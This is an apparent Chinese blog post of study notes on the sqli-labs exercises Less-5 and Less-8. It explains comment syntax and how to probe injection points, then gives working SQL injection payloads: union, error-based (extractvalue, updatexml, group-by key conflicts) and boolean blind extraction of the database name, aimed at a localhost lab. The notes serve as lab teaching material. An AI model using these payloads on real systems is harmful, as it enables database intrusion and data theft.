杂项及sqli第五and八关的思考

LIMIT:用来限定查询结果的起始行,以及总行数。譬如:

SELECT * FROM emp LIMIT 3, 10;(查询 10 行记录,起始行从 3 开始)。


sql注入过程中我们经常会碰到 --+这个东西。其实 《--在sql语句中起着注释的作用》,将后面的语句注释掉,+ 则代表空格。--是起到注释的作用,+是启动空格的作用,在sql中用--注释后面必须加一个空格--才生效,所以我们不一定要用--+,可以用-- 加上空格在加上任意字符,都行。

判断是否存在注入,页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞.?id=1' and 1=2 --+ 页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号(在这里我们显然先是利用get传参,然后带入到数据库里面执行,用‘闭合掉其查询的parameter,用来执行后面注入点’后的命令。那麽这里的注入点后写上的and 1=2 --+的目的就是判断注入点,因为如果是注入点那就会带入执行,那页面就不正常显示,就是程序对我们的输入做出了正确的判断。页面会根据输入的数据变化而变化,当存在注入点时,优先考虑使用联合注入手法。


union注入中较为常用的一些函数和环境变量

名称

功能

version()

MySQL 版本

user()

当前数据库用户名

database()

当前数据库名

@@version_compile_os

操作系统版本

@@datadir

数据库路径


让union select前面的参数查不出来而回显后面的语句,所以id=-1'.那么在显示位爆出后,我们在显示位上放入我们的测试性的语句.

联合注入的时候找到注入点后只需套入语句即可。


报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。

1.extractvalue() 函数:?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+  获取数据库名字

2.group by 重复键冲:

?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

3. updatexml() 函数:

?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+         (获取数据库名字)

?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+                                          (获取当前数据库中表的名字)


布尔盲注,即在页面没有错误回显时完成的注入攻击。屏幕上能得到信息不多,就是两种状态。

步骤:

1.判断数据库类型:

//判断是否是 Mysql数据库
?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
?id=1' and exists(select*from sysobjects) --+

2.判断数据库名:

(1)判断数据库名的长度

?id=1' and length(database())>5 --+  //正常显示

用二分法进行判断,这里之后判断出的是7个字符。

(2)判断数据库的字符名

  • //判断数据库的第一个字符

  • http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s.

  • 判断出数据库名字为security

结,再说。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值